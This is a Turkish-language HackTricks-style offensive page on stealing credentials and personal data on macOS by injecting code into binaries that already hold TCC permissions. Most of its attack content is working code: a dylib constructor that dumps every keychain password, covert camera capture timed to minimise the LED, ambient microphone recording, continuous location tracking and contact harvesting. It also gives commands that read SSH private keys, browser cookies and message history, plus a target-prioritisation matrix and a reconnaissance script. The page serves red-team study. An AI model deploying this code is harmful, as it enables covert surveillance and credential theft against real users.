macOS Kimlik Bilgileri ve Veri Hırsızlığı TCC İzinleri Üzerinden

Tip

AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE) Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.

HackTricks'i Destekleyin

Genel Bakış

macOS TCC (Transparency, Consent, and Control) hassas kullanıcı verilerine erişimi korur. Bir saldırgan zaten TCC izinlerine sahip bir ikiliyi ele geçirdiğinde, bu izinleri devralır. Bu sayfa, veri hırsızlığıyla ilgili her bir TCC izninin istismar potansiyelini belgelendirir.

Warning

Code injection into a TCC-granted binary (via DYLD injection, dylib hijacking, or task port) sessizce tüm TCC izinlerini devralır. Aynı süreç korumalı veriyi okuduğunda ek bir istem veya doğrulama olmaz.


Keychain Erişim Grupları

Ödül

macOS Keychain şunları depolar:

  • Wi‑Fi şifreleri — kaydedilmiş tüm kablosuz ağ kimlik bilgileri
  • Web sitesi şifreleri — Safari, Chrome (Keychain kullanıldığında) ve diğer tarayıcı şifreleri
  • Uygulama şifreleri — e-posta hesapları, VPN kimlik bilgileri, geliştirme tokenleri
  • Sertifikalar ve özel anahtarlar — kod imzalama, istemci TLS, S/MIME şifreleme
  • Güvenli notlar — kullanıcı tarafından saklanan sırlar

Yetki: keychain-access-groups

Keychain öğeleri erişim grupları halinde düzenlenir. Bir uygulamanın keychain-access-groups yetkisi, hangi gruplara erişebileceğini listeler:

<key>keychain-access-groups</key>
<array>
<string>com.apple.cfnetwork</string>   <!-- Network passwords -->
<string>com.apple.security.personal-information.identity</string>  <!-- Personal certs -->
<string>apple</string>                  <!-- Broad Apple group -->
<string>InternetAccounts</string>       <!-- Internet account passwords -->
</array>

Exploitation

# Find binaries with broad keychain access groups
sqlite3 /tmp/executables.db "
SELECT path FROM executables
WHERE entitlementsString LIKE '%keychain-access-groups%'
AND isAppleBin = 0
ORDER BY privileged DESC;"

# If you can inject into such a binary, enumerate keychain items:
security dump-keychain -d ~/Library/Keychains/login.keychain-db 2>&1 | head -100

# Find specific passwords
security find-generic-password -s "Wi-Fi" -w 2>&1
security find-internet-password -s "github.com" 2>&1

Code Injection → Keychain Theft

// Injected dylib code — runs with the target's keychain groups
#import <Security/Security.h>

__attribute__((constructor))
void dumpKeychain(void) {
NSDictionary *query = @{
(__bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
(__bridge id)kSecReturnAttributes: @YES,
(__bridge id)kSecReturnData: @YES,
(__bridge id)kSecMatchLimit: (__bridge id)kSecMatchLimitAll
};

CFArrayRef results = NULL;
OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef)query, (CFTypeRef *)&results);

if (status == errSecSuccess) {
NSArray *items = (__bridge NSArray *)results;
for (NSDictionary *item in items) {
NSString *service = item[(__bridge id)kSecAttrService];
NSString *account = item[(__bridge id)kSecAttrAccount];
NSData *passData = item[(__bridge id)kSecValueData];
NSString *password = [[NSString alloc] initWithData:passData encoding:NSUTF8StringEncoding];
// service, account, password — the full credential triple
}
}
}

Kamera Erişimi (kTCCServiceCamera)

İstismar

Kamera TCC iznine sahip bir binary (kTCCServiceCamera veya com.apple.security.device.camera yetkilendirmesi aracılığıyla) fotoğraf ve video çekebilir:

# Find camera-authorized binaries
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
"SELECT client FROM access WHERE service='kTCCServiceCamera' AND auth_value=2;"

Silent Capture

// Injected into a camera-entitled process
#import <AVFoundation/AVFoundation.h>

@interface SilentCapture : NSObject <AVCaptureVideoDataOutputSampleBufferDelegate>
@property (strong) AVCaptureSession *session;
@end

@implementation SilentCapture
- (void)startCapture {
self.session = [[AVCaptureSession alloc] init];
AVCaptureDevice *camera = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeVideo];
AVCaptureDeviceInput *input = [AVCaptureDeviceInput deviceInputWithDevice:camera error:nil];
[self.session addInput:input];

AVCaptureVideoDataOutput *output = [[AVCaptureVideoDataOutput alloc] init];
[output setSampleBufferDelegate:self queue:dispatch_get_global_queue(0, 0)];
[self.session addOutput:output];

[self.session startRunning];
// Camera LED turns on — but a brief capture may go unnoticed
}

- (void)captureOutput:(AVCaptureOutput *)output
didOutputSampleBuffer:(CMSampleBufferRef)sampleBuffer
fromConnection:(AVCaptureConnection *)connection {
// Each frame can be saved to disk or exfiltrated
// Stop after capturing a few frames to minimize LED time
[self.session stopRunning];
}
@end

Tip

macOS Sonoma’dan itibaren, menü çubuğundaki kamera göstergesi kalıcıdır ve programatik olarak gizlenemez. Daha eski macOS sürümlerinde, kısa bir yakalama fark edilir bir gösterge oluşturmayabilir.


Mikrofon Erişimi (kTCCServiceMicrophone)

İstismar

Mikrofon erişimi, yerleşik mikrofondan, kulaklıktan veya bağlı ses giriş cihazlarından gelen tüm sesleri yakalar:

# Find mic-authorized binaries
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
"SELECT client FROM access WHERE service='kTCCServiceMicrophone' AND auth_value=2;"

Saldırı: Ambient Recording

// Injected into a mic-entitled process
#import <AVFoundation/AVFoundation.h>

- (void)recordAudio {
NSURL *url = [NSURL fileURLWithPath:@"/tmp/recording.m4a"];
NSDictionary *settings = @{
AVFormatIDKey: @(kAudioFormatMPEG4AAC),
AVSampleRateKey: @44100.0,
AVNumberOfChannelsKey: @1
};
AVAudioRecorder *recorder = [[AVAudioRecorder alloc] initWithURL:url settings:settings error:nil];
[recorder record];
// Records everything: conversations, phone calls, ambient audio

// Stop after a duration
dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 60 * NSEC_PER_SEC),
dispatch_get_main_queue(), ^{
[recorder stop];
// Exfiltrate /tmp/recording.m4a
});
}

Konum Takibi (kTCCServiceLocation)

İstismar

# Find location-authorized binaries
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
"SELECT client FROM access WHERE service LIKE '%Location%' AND auth_value=2;"

Sürekli İzleme

#import <CoreLocation/CoreLocation.h>

@interface Tracker : NSObject <CLLocationManagerDelegate>
@end

@implementation Tracker
- (void)startTracking {
CLLocationManager *mgr = [[CLLocationManager alloc] init];
mgr.delegate = self;
mgr.desiredAccuracy = kCLLocationAccuracyBest;
[mgr startUpdatingLocation];
}

- (void)locationManager:(CLLocationManager *)manager
didUpdateLocations:(NSArray<CLLocation *> *)locations {
CLLocation *loc = locations.lastObject;
// loc.coordinate.latitude, loc.coordinate.longitude
// Reveals: home address, work address, travel patterns, daily routine
NSString *entry = [NSString stringWithFormat:@"%f,%f,%@\n",
loc.coordinate.latitude, loc.coordinate.longitude, [NSDate date]];
// Append to tracking log
}
@end

Kişiler / Takvim / Fotoğraflar

Kişisel Veri Sızdırma

TCC ServisiFrameworkVeri
kTCCServiceAddressBookContacts.frameworkİsimler, e-postalar, telefon numaraları, adresler
kTCCServiceCalendarEventKitToplantılar, katılımcılar, konumlar
kTCCServicePhotosPhotos.frameworkFotoğraflar, ekran görüntüleri, konum meta verileri
# Find authorized binaries for each service
for svc in kTCCServiceAddressBook kTCCServiceCalendar kTCCServicePhotos; do
echo "=== $svc ==="
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
"SELECT client FROM access WHERE service='$svc' AND auth_value=2;"
done

Kişileri Toplama

#import <Contacts/Contacts.h>

CNContactStore *store = [[CNContactStore alloc] init];
NSArray *keys = @[CNContactGivenNameKey, CNContactFamilyNameKey,
CNContactEmailAddressesKey, CNContactPhoneNumbersKey];
CNContactFetchRequest *request = [[CNContactFetchRequest alloc] initWithKeysToFetch:keys];

[store enumerateContactsWithFetchRequest:request error:nil
usingBlock:^(CNContact *contact, BOOL *stop) {
// contact.givenName, contact.familyName
// contact.emailAddresses, contact.phoneNumbers
// All contacts exfiltrated for social engineering / spear phishing
}];

iCloud Hesap Erişimi

Entitlement: com.apple.private.icloud-account-access

Bu yetki, com.apple.iCloudHelper XPC servisiyle iletişim kurulmasına izin verir ve şu erişimleri sağlar:

  • iCloud tokens — kullanıcının Apple ID’si için kimlik doğrulama tokenları
  • iCloud Drive — tüm cihazlardan senkronize edilmiş belgeler
  • iCloud Keychain — tüm Apple cihazlarında senkronize edilmiş parolalar
  • Find My — kullanıcının tüm Apple cihazlarının konumu
# Find iCloud-entitled binaries
sqlite3 /tmp/executables.db "
SELECT path FROM executables
WHERE iCloudAccs = 1
ORDER BY privileged DESC;"

Caution

iCloud yetkisine sahip bir binary’yi ele geçirmek saldırıyı tek bir cihazdan tüm Apple ekosistemine genişletir: diğer Macs, iPhones, iPads, Apple Watch. iCloud Keychain senkronizasyonu tüm cihazlardaki parolalara erişilebileceği anlamına gelir.


Tam Disk Erişimi (kTCCServiceSystemPolicyAllFiles)

En Güçlü TCC İzni

Tam Disk Erişimi sistemdeki her dosyayı okuma yetkisi verir, şunlar dahil:

  • Diğer uygulamaların verileri (Messages, Mail, Safari geçmişi)
  • TCC veritabanları (diğer tüm izinleri ortaya çıkarır)
  • SSH anahtarları ve yapılandırma
  • Tarayıcı çerezleri ve oturum tokenleri
  • Uygulama veritabanları ve önbellekleri
# Find FDA-granted binaries
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
"SELECT client FROM access WHERE service='kTCCServiceSystemPolicyAllFiles' AND auth_value=2;"

# With FDA, read anything:
cat ~/Library/Messages/chat.db              # iMessage history
cat ~/Library/Safari/History.db             # Safari browsing history
cat ~/Library/Cookies/Cookies.binarycookies # Browser cookies
cat ~/.ssh/id_rsa                           # SSH private key

İstismar Öncelik Matrisi

Injectable TCC tarafından izin verilmiş binary’leri değerlendirirken, veri değerine göre önceliklendirin:

ÖncelikTCC PermissionNeden
KritikFull Disk AccessHer şeye erişim
KritikTCC ManagerHerhangi bir izni verebilir
YüksekKeychain Access GroupsTüm saklanan parolalar
YüksekiCloud Account AccessBirden fazla cihazın ele geçirilmesi
YüksekInput Monitoring (ListenEvent)Tuş kaydı
YüksekAccessibilityGUI kontrolü, izinleri kendine verebilme
OrtaScreen CaptureGörsel veri yakalama
OrtaCamera + MicrophoneGözetleme
OrtaContacts + CalendarSosyal mühendislik verileri
DüşükLocationFiziksel takip
DüşükPhotosKişisel veriler

Keşif Betiği

#!/bin/bash
echo "=== TCC Credential Theft Surface Audit ==="

echo -e "\n[*] High-value TCC grants (injectable binaries):"
sqlite3 /tmp/executables.db "
SELECT path, tccPermsStr FROM executables
WHERE (noLibVal = 1 OR allowDyldEnv = 1)
AND tccPermsStr IS NOT NULL
AND tccPermsStr != ''
ORDER BY privileged DESC
LIMIT 30;" 2>/dev/null

echo -e "\n[*] Keychain-entitled injectable binaries:"
sqlite3 /tmp/executables.db "
SELECT path FROM executables
WHERE entitlementsString LIKE '%keychain-access-groups%'
AND (noLibVal = 1 OR allowDyldEnv = 1);" 2>/dev/null

echo -e "\n[*] iCloud-entitled binaries:"
sqlite3 /tmp/executables.db "
SELECT path FROM executables WHERE iCloudAccs = 1;" 2>/dev/null

Referanslar

Tip

AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE) Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.

HackTricks'i Destekleyin